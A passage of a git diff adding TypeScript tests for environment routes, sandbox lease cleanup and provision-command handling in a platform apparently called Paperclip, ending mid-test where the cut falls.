+    const res = await request(app).delete("/api/environments/env-1");
+
+    expect(res.status).toBe(409);
+    expect(res.body.error).toBe(
+      "Cannot delete this environment while a sandbox cleanup is pending. Wait for the cleanup sweep to destroy the orphan sandbox, then retry.",
+    );
+    expect(res.body.details).toEqual({ deleteBlockedReasons: ["pending_sandbox_cleanup"] });
+    expect(mockEnvironmentService.removeIfDeletable).not.toHaveBeenCalled();
+  });
+
+  it("rejects deleting an environment with a live reusable sandbox lease", async () => {
+    const environment = {
+      ...createEnvironment(),
+      driver: "sandbox" as const,
+      name: "Reusable Sandbox Fixture",
+      config: {
+        provider: "fake-plugin",
+        image: "fixture:test",
+        reuseLease: true,
+      },
+    };
+    mockEnvironmentService.getById.mockResolvedValue(environment);
+    mockEnvironmentService.getDeleteBlastRadius.mockResolvedValue(createDeleteBlastRadius({
+      activeLeaseCount: 1,
+      reusableSandboxLeaseCount: 1,
+    }));
+    const app = createApp({
+      type: "board",
+      userId: "admin-1",
+      source: "local_implicit",
+    });
+
+    const res = await request(app).delete("/api/environments/env-1");
+
+    expect(res.status).toBe(409);
+    expect(res.body.error).toBe(
+      "Cannot delete this environment while it has a reusable sandbox lease. Remove the associated execution workspace or issue so Paperclip can destroy the sandbox, then retry.",
+    );
+    expect(res.body.details).toEqual({ deleteBlockedReasons: ["reusable_sandbox_lease"] });
+    expect(mockEnvironmentService.removeIfDeletable).not.toHaveBeenCalled();
+  });
+
+  it("rejects a driver or provider config change while a sandbox cleanup is pending", async () => {
+    const environment = {
+      ...createEnvironment(),
+      id: "env-ssh",
+      driver: "ssh" as const,
+      name: "SSH Fixture",
+      config: {
+        host: "ssh.example.test",
+        port: 22,
+        username: "ssh-user",
+        remoteWorkspacePath: "/srv/paperclip/workspace",
+        privateKey: null,
+        privateKeySecretRef: null,
+        knownHosts: null,
+        strictHostKeyChecking: true,
+      },
+    };
+    mockEnvironmentService.getById.mockResolvedValue(environment);
+    mockEnvironmentService.hasUnresolvedPendingCleanupLeases.mockResolvedValue(true);
+    const app = createApp({
+      type: "board",
+      userId: "admin-1",
+      source: "local_implicit",
+    });
+
+    const res = await request(app)
+      .patch("/api/environments/env-ssh")
+      .send({
+        config: {
+          host: "changed.example.test",
+          port: 22,
+          username: "ssh-user",
+          remoteWorkspacePath: "/srv/paperclip/workspace",
+        },
+      });
+
+    expect(res.status).toBe(409);
+    expect(res.body.error).toBe(
+      "Cannot change the driver or provider config while a sandbox cleanup is pending. Wait for the cleanup sweep to destroy the orphan sandbox, then retry.",
+    );
+    expect(res.body.details).toEqual({ code: "environment_pending_sandbox_cleanup" });
+    expect(mockEnvironmentService.update).not.toHaveBeenCalled();
+  });
+
+  it("allows a non-provider update while a sandbox cleanup is pending", async () => {
+    const environment = {
+      ...createEnvironment(),
+      id: "env-ssh",
+      driver: "ssh" as const,
+      name: "SSH Fixture",
+      config: {
+        host: "ssh.example.test",
+        port: 22,
+        username: "ssh-user",
+        remoteWorkspacePath: "/srv/paperclip/workspace",
+        privateKey: null,
+        privateKeySecretRef: null,
+        knownHosts: null,
+        strictHostKeyChecking: true,
+      },
+    };
+    mockEnvironmentService.getById.mockResolvedValue(environment);
+    mockEnvironmentService.hasUnresolvedPendingCleanupLeases.mockResolvedValue(true);
+    mockEnvironmentService.update.mockResolvedValue({ ...environment, description: "Updated" });
+    const app = createApp({
+      type: "board",
+      userId: "admin-1",
+      source: "local_implicit",
+    });
+
+    const res = await request(app)
+      .patch("/api/environments/env-ssh")
+      .send({ description: "Updated" });
+
+    expect(res.status).toBe(200);
+    expect(mockEnvironmentService.hasUnresolvedPendingCleanupLeases).not.toHaveBeenCalled();
+    expect(mockEnvironmentService.update).toHaveBeenCalled();
+  });
+
   it("describes an environment's secret refs with owner metadata", async () => {
     const secretId = "22222222-2222-2222-2222-222222222222";
     mockEnvironmentService.getById.mockResolvedValue({
@@ -1796,12 +2042,16 @@ describe("environment routes", () => {
     expect(mockSecretService.create).not.toHaveBeenCalled();
   });
 
-  it("keeps host-owned stream flags when the provider plugin drops them from its normalized config", async () => {
-    // The host owns `streamRunLogs` and `streamAgentSessionOutput`. It reads
-    // them to select the run-log stream and the ACP session output stream. A
-    // provider plugin normalizes only its own driver fields, so it drops these
-    // host flags from its normalized config. The host must re-apply them, or the
-    // saved environment loses the operator opt-in and the streams never start.
+  it("keeps the host-owned stream flag and drops a removed flag a saved config still carries", async () => {
+    // The host owns `streamRunLogs`. It reads it to select the run-log stream. A
+    // provider plugin normalizes only its own driver fields, so it drops the host
+    // flag from its normalized config. The host must re-apply it, or the saved
+    // environment loses the operator opt-out and the stream never starts.
+    //
+    // `streamAgentSessionOutput` is a removed operator flag. A saved config can
+    // still carry it, but session-output streaming now follows the capability
+    // snapshot alone. The removed key must load and then drop, so it never
+    // reaches the persisted config.
     const environment = {
       ...createEnvironment(),
       id: "env-sandbox-fake-plugin",
@@ -1811,11 +2061,9 @@ describe("environment routes", () => {
     };
     mockEnvironmentService.create.mockResolvedValue(environment);
     mockValidatePluginSandboxProviderConfig.mockImplementation(async ({ provider, config }) => {
-      // Drop the host flags to reproduce a plugin that allowlists driver fields.
-      const { streamRunLogs, streamAgentSessionOutput, ...driverConfig } =
-        config as Record<string, unknown>;
+      // Drop the host flag to reproduce a plugin that allowlists driver fields.
+      const { streamRunLogs, ...driverConfig } = config as Record<string, unknown>;
       void streamRunLogs;
-      void streamAgentSessionOutput;
       return {
         normalizedConfig: driverConfig,
         pluginId: `plugin-${provider}`,
@@ -1850,7 +2098,8 @@ describe("environment routes", () => {
 
     expect(res.status).toBe(201);
     const persisted = mockEnvironmentService.create.mock.calls[0][0].config as Record<string, unknown>;
-    expect(persisted.streamAgentSessionOutput).toBe(true);
+    // The removed key never reaches the persisted config.
+    expect(persisted.streamAgentSessionOutput).toBeUndefined();
     expect(persisted.streamRunLogs).toBe(false);
   });
 
diff --git a/server/src/__tests__/environment-run-orchestrator.test.ts b/server/src/__tests__/environment-run-orchestrator.test.ts
index 41c2640c1d8..01bb0442a9a 100644
--- a/server/src/__tests__/environment-run-orchestrator.test.ts
+++ b/server/src/__tests__/environment-run-orchestrator.test.ts
@@ -10,6 +10,7 @@ const mockBuildWorkspaceRealizationRequest = vi.hoisted(() => vi.fn());
 const mockUpdateLeaseMetadata = vi.hoisted(() => vi.fn());
 const mockUpdateExecutionWorkspace = vi.hoisted(() => vi.fn());
 const mockLogActivity = vi.hoisted(() => vi.fn());
+const mockLoggerInfo = vi.hoisted(() => vi.fn());
 
 vi.mock("../services/environment-execution-target.js", () => ({
   resolveEnvironmentExecutionTarget: mockResolveEnvironmentExecutionTarget,
@@ -44,6 +45,15 @@ vi.mock("../services/activity-log.js", () => ({
   logActivity: mockLogActivity,
 }));
 
+vi.mock("../middleware/logger.js", () => ({
+  logger: {
+    info: mockLoggerInfo,
+    warn: vi.fn(),
+    error: vi.fn(),
+    debug: vi.fn(),
+  },
+}));
+
 // ---------------------------------------------------------------------------
 // Imports after mocks
 // ---------------------------------------------------------------------------
@@ -407,6 +417,84 @@ describe("environmentRunOrchestrator — realizeForRun", () => {
   });
 
   it("runs a remote provision command after workspace realization when configured", async () => {
+    mockBuildWorkspaceRealizationRequest.mockReturnValue({
+      version: 1,
+      adapterType: "claude_local",
+      companyId: "company-1",
+      environmentId: "env-1",
+      executionWorkspaceId: null,
+      issueId: null,
+      heartbeatRunId: "run-1",
+      requestedMode: null,
+      source: {
+        kind: "project_primary",
+        localPath: "/workspace/project",
+        projectId: null,
+        projectWorkspaceId: null,
+        repoUrl: null,
+        repoRef: null,
+        strategy: "project_primary",
+        branchName: null,
+        worktreePath: null,
+      },
+      runtimeOverlay: {
+        provisionCommand: "npm install -g @anthropic-ai/claude-code",
+      },
+    });
+    mockResolveEnvironmentExecutionTarget.mockResolvedValue({
+      kind: "remote",
+      transport: "ssh",
+      remoteCwd: "/remote/workspace",
+      environmentId: "env-1",
+      leaseId: "lease-1",
+      spec: {
+        host: "ssh.example.test",
+        port: 22,
+        username: "ssh-user",
+        remoteCwd: "/remote/workspace",
+        remoteWorkspacePath: "/remote/workspace",
+        privateKey: null,
+        knownHosts: null,
+        strictHostKeyChecking: true,
+      },
+    });
+
+    const runtime = makeMockRuntime({
+      realizeWorkspace: vi.fn().mockResolvedValue({
+        cwd: "/remote/workspace",
+        metadata: {
+          workspaceRealization: {
+            version: 1,
+            transport: "ssh",
+            remote: { path: "/remote/workspace" },
+          },
+        },
+      }),
+    });
+    const orchestrator = environmentRunOrchestrator(mockDb, { environmentRuntime: runtime });
+
+    await orchestrator.realizeForRun(makeRealizeInput({
+      environment: makeEnvironment("ssh"),
+    }));
+
+    // The `ssh` driver runs the command on the remote host that shares the
+    // workspace path, so the configured provision command still runs there.
+    expect(runtime.execute).toHaveBeenCalledOnce();
+    expect(runtime.execute).toHaveBeenCalledWith(expect.objectContaining({
+      environment: expect.objectContaining({ driver: "ssh" }),
+      lease: expect.objectContaining({ id: "lease-1" }),
+      command: "bash",
+      args: ["-lc", "npm install -g @anthropic-ai/claude-code"],
+      cwd: "/remote/workspace",
+      env: {
+        SHELL: "/bin/bash",
+      },
+    }));
+    // The sandbox skip log is specific to the sandbox driver; ssh stays quiet.
+    expect(mockLoggerInfo).not.toHaveBeenCalled();
+  });
+
+  it("skips the host provision command for a sandbox environment and logs the skip", async () => {
     mockBuildWorkspaceRealizationRequest.mockReturnValue({
       version: 1,
       adapterType: "claude_local",
@@ -458,17 +546,59 @@ describe("environmentRunOrchestrator — realizeForRun", () => {
       environment: makeEnvironment("sandbox"),
     }));
 
-    expect(runtime.execute).toHaveBeenCalledOnce();
-    expect(runtime.execute).toHaveBeenCalledWith(expect.objectContaining({
-      environment: expect.objectContaining({ driver: "sandbox" }),
-      lease: expect.objectContaining({ id: "lease-1" }),
-      command: "bash",
-      args: ["-lc", "npm install -g @anthropic-ai/claude-code"],
-      cwd: "/remote/workspace",
-      env: {
-        SHELL: "/bin/bash",
+    // The sandbox receives the provisioned tree through the adapter stage.sync
+    // step, so the orchestrator must not run the host command in the sandbox.
+    expect(runtime.execute).not.toHaveBeenCalled();
+    // The skip is observable: exactly one log line records it with the driver.
+    expect(mockLoggerInfo).toHaveBeenCalledOnce();
+    expect(mockLoggerInfo).toHaveBeenCalledWith(
+      expect.objectContaining({ driver: "sandbox", environmentId: "env-1" }),
+      expect.stringContaining("Skip host provisionCommand"),
+    );
+  });
+
+  it("does not rerun the provision command during local environment realization", async () => {
+    mockBuildWorkspaceRealizationRequest.mockReturnValue({
+      version: 1,
+      adapterType: "claude_local",
+      companyId: "company-1",
+      environmentId: "env-1",
+      executionWorkspaceId: null,
+      issueId: null,
+      heartbeatRunId: "run-1",
+      requestedMode: null,
+      source: {
+        kind: "project_primary",
+        localPath: "/workspace/project",
+        projectId: null,
+        projectWorkspaceId: null,
+        repoUrl: null,
+        repoRef: null,
+        strategy: "project_primary",
+        branchName: null,
+        worktreePath: null,
       },
+      runtimeOverlay: {
+        provisionCommand: "npm install -g @anthropic-ai/claude-code",
+      },
+    });
+    mockResolveEnvironmentExecutionTarget.mockResolvedValue({
+      kind: "local",
+      environmentId: "env-1",
+      leaseId: "lease-1",
+    });
+
+    const runtime = makeMockRuntime();
+    const orchestrator = environmentRunOrchestrator(mockDb, { environmentRuntime: runtime });
+
+    await orchestrator.realizeForRun(makeRealizeInput({
+      environment: makeEnvironment("local"),
     }));
+
+    // Local workspace provisioning already ran the command before realizeForRun.
+    expect(runtime.execute).not.toHaveBeenCalled();
+    // The sandbox skip log is specific to the sandbox driver; local stays quiet.
+    expect(mockLoggerInfo).not.toHaveBeenCalled();
   });
 
   it("runs project-level provision commands for ssh environments", async () => {
@@ -588,7 +718,7 @@ describe("environmentRunOrchestrator — realizeForRun", () => {
     const orchestrator = environmentRunOrchestrator(mockDb, { environmentRuntime: runtime });
 
     await expect(orchestrator.realizeForRun(makeRealizeInput({
-      environment: makeEnvironment("sandbox"),
+      environment: makeEnvironment("ssh"),
     }))).rejects.toSatisfy(
       (err: unknown) =>
         err instanceof EnvironmentRunError &&
diff --git a/server/src/__tests__/environment-runtime-duplex-bridge-input.test.ts b/server/src/__tests__/environment-runtime-duplex-bridge-input.test.ts
new file mode 100644
index 00000000000..640a59a4589
--- /dev/null
+++ b/server/src/__tests__/environment-runtime-duplex-bridge-input.test.ts
@@ -0,0 +1,69 @@
+import { beforeAll, describe, expect, it } from "vitest";
+import { createDb } from "@paperclipai/db";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+import {
+  environmentRuntimeService,
+  resolveSandboxDuplexBridgeInput,
+} from "../services/environment-runtime.ts";
+import { instanceSettingsService } from "../services/instance-settings.ts";
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping embedded Postgres duplex bridge input tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
+  );
+}
+
+describe("resolveSandboxDuplexBridgeInput", () => {
+  it("carries an enabled kill switch into the bridge input", () => {
+    expect(resolveSandboxDuplexBridgeInput({ enableSandboxDuplexBridge: true })).toEqual({
+      enableDuplexBridge: true,
+    });
+  });
+
+  it("keeps the file bridge when the kill switch is off", () => {
+    expect(resolveSandboxDuplexBridgeInput({ enableSandboxDuplexBridge: false })).toEqual({
+      enableDuplexBridge: false,
+    });
+  });
+});
+
+describeEmbeddedPostgres("environmentRuntimeService.readSandboxDuplexBridgeInput", () => {
+  let stopDb: (() => Promise<void>) | null = null;
+  let db!: ReturnType<typeof createDb>;
+  let runtime!: ReturnType<typeof environmentRuntimeService>;
+  let settings!: ReturnType<typeof instanceSettingsService>;
+
+  beforeAll(async () => {
+    const started = await startEmbeddedPostgresTestDatabase("environment-runtime-duplex-bridge");
+    stopDb = started.stop;
+    db = createDb(started.connectionString);
+    runtime = environmentRuntimeService(db);
+    settings = instanceSettingsService(db);
+    return async () => {
+      await stopDb?.();
+    };
+  });
+
+  it("defaults the per-run bridge input to the file bridge", async () => {
+    expect(await runtime.readSandboxDuplexBridgeInput()).toEqual({ enableDuplexBridge: false });
+  });
+
+  it("reads the enabled kill switch from instance settings for a run", async () => {
+    await settings.updateExperimental({ enableSandboxDuplexBridge: true });
+
+    expect(await runtime.readSandboxDuplexBridgeInput()).toEqual({ enableDuplexBridge: true });
+  });
+
+  it("returns to the file bridge when the kill switch is turned back off", async () => {
+    await settings.updateExperimental({ enableSandboxDuplexBridge: true });
+    await settings.updateExperimental({ enableSandboxDuplexBridge: false });
+
+    expect(await runtime.readSandboxDuplexBridgeInput()).toEqual({ enableDuplexBridge: false });
+  });
+});
diff --git a/server/src/__tests__/environment-runtime.test.ts b/server/src/__tests__/environment-runtime.test.ts
index b22dd69a991..ed424100f67 100644
--- a/server/src/__tests__/environment-runtime.test.ts
+++ b/server/src/__tests__/environment-runtime.test.ts
@@ -1,8 +1,8 @@
 import { createHash, randomUUID } from "node:crypto";
-import { mkdtemp, rm } from "node:fs/promises";
+import { mkdtemp, readdir, rm } from "node:fs/promises";
 import os from "node:os";
 import path from "node:path";
-import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
+import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
 import { eq } from "drizzle-orm";
 import {
   buildSshEnvLabFixtureConfig,
@@ -12,6 +12,7 @@ import {
 } from "@paperclipai/adapter-utils/ssh";
 import {
   agents,
+  builtInManagedResources,
   companies,
   companySecretVersions,
   companySecrets,
@@ -28,8 +29,17 @@ import {
   startEmbeddedPostgresTestDatabase,
 } from "./helpers/embedded-postgres.js";
 import { resolveEnvironmentDriverConfigForRuntime } from "../services/environment-config.ts";
-import { environmentRuntimeService, findReusableSandboxLeaseId } from "../services/environment-runtime.ts";
+import {
+  SANDBOX_CAPABILITY_KEYS,
+  environmentRuntimeService,
+  findReusableSandboxLeaseId,
+  SandboxOrphanCleanupWriteError,
+} from "../services/environment-runtime.ts";
+import * as sandboxProviderRuntime from "../services/sandbox-provider-runtime.ts";
+import * as environmentsModule from "../services/environments.ts";
+import { logger } from "../middleware/logger.ts";
 import { environmentService } from "../services/environments.ts";
+import { heartbeatService } from "../services/heartbeat.ts";
 import { secretService } from "../services/secrets.ts";
 import type { PluginWorkerManager } from "../services/plugin-worker-manager.ts";
 import {
@@ -139,6 +149,11 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
   let db!: ReturnType<typeof createDb>;
   let runtime!: ReturnType<typeof environmentRuntimeService>;
   const fixtureRoots: string[] = [];
+  // Give each test its own orphan-cleanup spool directory, so a spool file one
+  // test writes never leaks into another test's flush. The default runtime reads
+  // this env override when a test does not pass an explicit spool directory.
+  let orphanCleanupSpoolDir: string | null = null;
+  const previousOrphanCleanupSpoolDir = process.env.SANDBOX_ORPHAN_CLEANUP_SPOOL_DIR;
 
   beforeAll(async () => {
     const started = await startEmbeddedPostgresTestDatabase("environment-runtime");
@@ -147,7 +162,21 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
     runtime = environmentRuntimeService(db);
   });
 
+  beforeEach(async () => {
+    orphanCleanupSpoolDir = await mkdtemp(path.join(os.tmpdir(), "orphan-cleanup-spool-"));
+    process.env.SANDBOX_ORPHAN_CLEANUP_SPOOL_DIR = orphanCleanupSpoolDir;
+  });
+
   afterEach(async () => {
+    if (orphanCleanupSpoolDir) {
+      await rm(orphanCleanupSpoolDir, { recursive: true, force: true }).catch(() => undefined);
+      orphanCleanupSpoolDir = null;
+    }
+    if (previousOrphanCleanupSpoolDir === undefined) {
+      delete process.env.SANDBOX_ORPHAN_CLEANUP_SPOOL_DIR;
+    } else {
+      process.env.SANDBOX_ORPHAN_CLEANUP_SPOOL_DIR = previousOrphanCleanupSpoolDir;
+    }
     while (fixtureRoots.length > 0) {
       const root = fixtureRoots.pop();
       if (!root) continue;
@@ -576,6 +605,2286 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
     expect(released[0]?.lease.status).toBe("released");
   });
 
+  it("releases the remote sandbox when the lease insert rejects a foreign-company binding", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Foreign-bound Fake Sandbox",
+      config: {
+        provider: "fake",
+        image: "ubuntu:24.04",
+        reuseLease: false,
+      },
+    });
+
+    // A managed reconciliation binds the environment to another company after the
+    // route guard read an empty binding list. The lease insert then rejects the
+    // foreign-company binding with the 403 `environment_company_mismatch`.
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co",
+      issuePrefix: "OTA",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    const destroySpy = vi.spyOn(sandboxProviderRuntime, "destroySandboxProviderLease");
+    try {
+      await expect(
+        runtime.acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        }),
+      ).rejects.toMatchObject({
+        status: 403,
+        details: { code: "environment_company_mismatch" },
+      });
+
+      // The acquire records the durable pending-cleanup row before the teardown,
+      // so the row lands while the database is proven reachable. The successful
+      // teardown then releases the row to the terminal `expired` state, so no
+      // active or pending_cleanup row remains for the orphan.
+      const leaseRows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(leaseRows).toHaveLength(1);
+      expect(leaseRows[0]?.status).toBe("expired");
+      expect(leaseRows[0]?.cleanupStatus).toBe("success");
+
+      // The acquire already provisioned the remote sandbox, so it releases the
+      // sandbox on the rejection. Without this teardown the rejected insert leaks
+      // a live sandbox that no lease row tracks. The teardown carries the
+      // provisioned provider lease id.
+      expect(destroySpy).toHaveBeenCalledTimes(1);
+      expect(destroySpy.mock.calls[0]?.[0]?.providerLeaseId).toMatch(
+        new RegExp(`^sandbox://fake/${runId}/[0-9a-f-]{36}$`),
+      );
+    } finally {
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("destroys the remote plugin sandbox when the lease insert rejects a foreign-company binding", async () => {
+    // The Claude login runs on a plugin-backed sandbox provider (Daytona), so this
+    // path is the one the login uses. It must also release the remote sandbox when
+    // the conditional lease insert rejects a foreign-company binding.
+    const pluginId = randomUUID();
+    const { companyId, environment: baseEnvironment, runId } = await seedEnvironment();
+    const pluginConfig = { provider: "fake-plugin", image: "fake:test", reuseLease: false };
+    const environment = {
+      ...baseEnvironment,
+      name: "Foreign-bound Plugin Sandbox",
+      driver: "sandbox",
+      config: pluginConfig,
+    };
+    await environmentService(db).update(environment.id, {
+      driver: "sandbox",
+      name: environment.name,
+      config: pluginConfig,
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "paperclip.fake-plugin-sandbox-provider",
+      packageName: "@paperclipai/plugin-fake-sandbox",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "paperclip.fake-plugin-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Fake Plugin Sandbox Provider",
+        description: "Test fake plugin provider",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin",
+            configSchema: { type: "object" },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+
+    // A managed reconciliation binds the environment to another company after the
+    // route guard read an empty binding list. The lease insert then rejects the
+    // foreign-company binding with the 403 `environment_company_mismatch`.
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co",
+      issuePrefix: "OTB",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentDestroyLease"] })),
+      call: vi.fn(async (_pluginId: string, method: string) => {
+        if (method === "environmentAcquireLease") {
+          return {
+            providerLeaseId: "plugin-lease-1",
+            metadata: { provider: "fake-plugin", image: "fake:test", reuseLease: false },
+          };
+        }
+        if (method === "environmentDestroyLease") {
+          return undefined;
+        }
+        throw new Error(`Unexpected plugin method: ${method}`);
+      }),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    await expect(
+      runtimeWithPlugin.acquireRunLease({
+        companyId,
+        environment,
+        issueId: null,
+        heartbeatRunId: runId,
+        persistedExecutionWorkspace: null,
+        assertCompanyBinding: true,
+      }),
+    ).rejects.toMatchObject({
+      status: 403,
+      details: { code: "environment_company_mismatch" },
+    });
+
+    // The acquire records the durable pending-cleanup row before the teardown,
+    // so the row lands while the database is proven reachable. The successful
+    // teardown then releases the row to the terminal `expired` state, so no
+    // active or pending_cleanup row remains for the orphan.
+    const leaseRows = await db
+      .select()
+      .from(environmentLeases)
+      .where(eq(environmentLeases.environmentId, environment.id));
+    expect(leaseRows).toHaveLength(1);
+    expect(leaseRows[0]?.status).toBe("expired");
+    expect(leaseRows[0]?.cleanupStatus).toBe("success");
+
+    // The acquire provisioned the remote plugin sandbox, so it destroys the
+    // sandbox on the rejection. Without this teardown the rejected insert leaks a
+    // live sandbox that no lease row tracks.
+    const destroyCalls = (workerManager.call as unknown as ReturnType<typeof vi.fn>).mock.calls.filter(
+      (callArgs) => callArgs[1] === "environmentDestroyLease",
+    );
+    expect(destroyCalls).toHaveLength(1);
+    expect(destroyCalls[0]?.[2]).toMatchObject({ providerLeaseId: "plugin-lease-1" });
+
+    await environmentService(db).update(environment.id, { driver: "local", config: {} });
+  });
+
+  it("records a durable pending-cleanup lease when the built-in teardown fails after a foreign-company rejection", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Foreign-bound Fake Sandbox Teardown Fail",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Built-in",
+      issuePrefix: "OTC",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    // The remote teardown fails, so the acquire cannot release the sandbox
+    // directly. It must record a durable pending-cleanup row instead.
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockRejectedValue(new Error("teardown failed"));
+    try {
+      await expect(
+        runtime.acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        }),
+      ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } });
+
+      expect(destroySpy).toHaveBeenCalledTimes(1);
+      // The failed teardown left a durable pending-cleanup row that carries the
+      // provider lease id for a later sweep.
+      const rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(1);
+      expect(rows[0]?.status).toBe("pending_cleanup");
+      expect(rows[0]?.cleanupStatus).toBe("failed");
+      expect(rows[0]?.providerLeaseId).toMatch(new RegExp(`^sandbox://fake/${runId}/[0-9a-f-]{36}$`));
+    } finally {
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("records the durable pending-cleanup row before it runs the inline teardown", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Foreign-bound Fake Sandbox Write First",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Write First",
+      issuePrefix: "OWF",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    // The teardown reads the lease table when it runs. A durable pending_cleanup
+    // row must already exist, which proves the acquire records the row before the
+    // teardown. This ordering closes the window the finding describes: the durable
+    // write lands while the database is proven reachable, before the teardown RPC
+    // that a database outage could otherwise interrupt.
+    let pendingCleanupRowsAtTeardown = -1;
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockImplementation(async () => {
+        const rows = await db
+          .select()
+          .from(environmentLeases)
+          .where(eq(environmentLeases.environmentId, environment.id));
+        pendingCleanupRowsAtTeardown = rows.filter((row) => row.status === "pending_cleanup").length;
+      });
+    try {
+      await expect(
+        runtime.acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        }),
+      ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } });
+
+      // The durable row already tracked the orphan when the teardown ran.
+      expect(pendingCleanupRowsAtTeardown).toBe(1);
+      expect(destroySpy).toHaveBeenCalledTimes(1);
+
+      // The teardown succeeded, so the acquire released the row to the terminal
+      // `expired` state and left no pending_cleanup row.
+      const rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(1);
+      expect(rows[0]?.status).toBe("expired");
+      expect(rows[0]?.cleanupStatus).toBe("success");
+    } finally {
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("leaves no orphan and no error when the durable write fails but the teardown succeeds", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Foreign-bound Fake Sandbox Write Fail Teardown Ok",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Write Fail",
+      issuePrefix: "OWK",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    // Force every durable pending-cleanup write to fail, but let the teardown
+    // succeed. A successful teardown removes the orphan, so the acquire needs no
+    // durable row and raises no orphan-cleanup write error. The write-first order
+    // never turns a clean teardown into a failure.
+    const realEnvironmentService = environmentsModule.environmentService;
+    const factorySpy = vi
+      .spyOn(environmentsModule, "environmentService")
+      .mockImplementation((database: Parameters<typeof realEnvironmentService>[0]) => {
+        const real = realEnvironmentService(database);
+        return {
+          ...real,
+          insertPendingCleanupLease: () =>
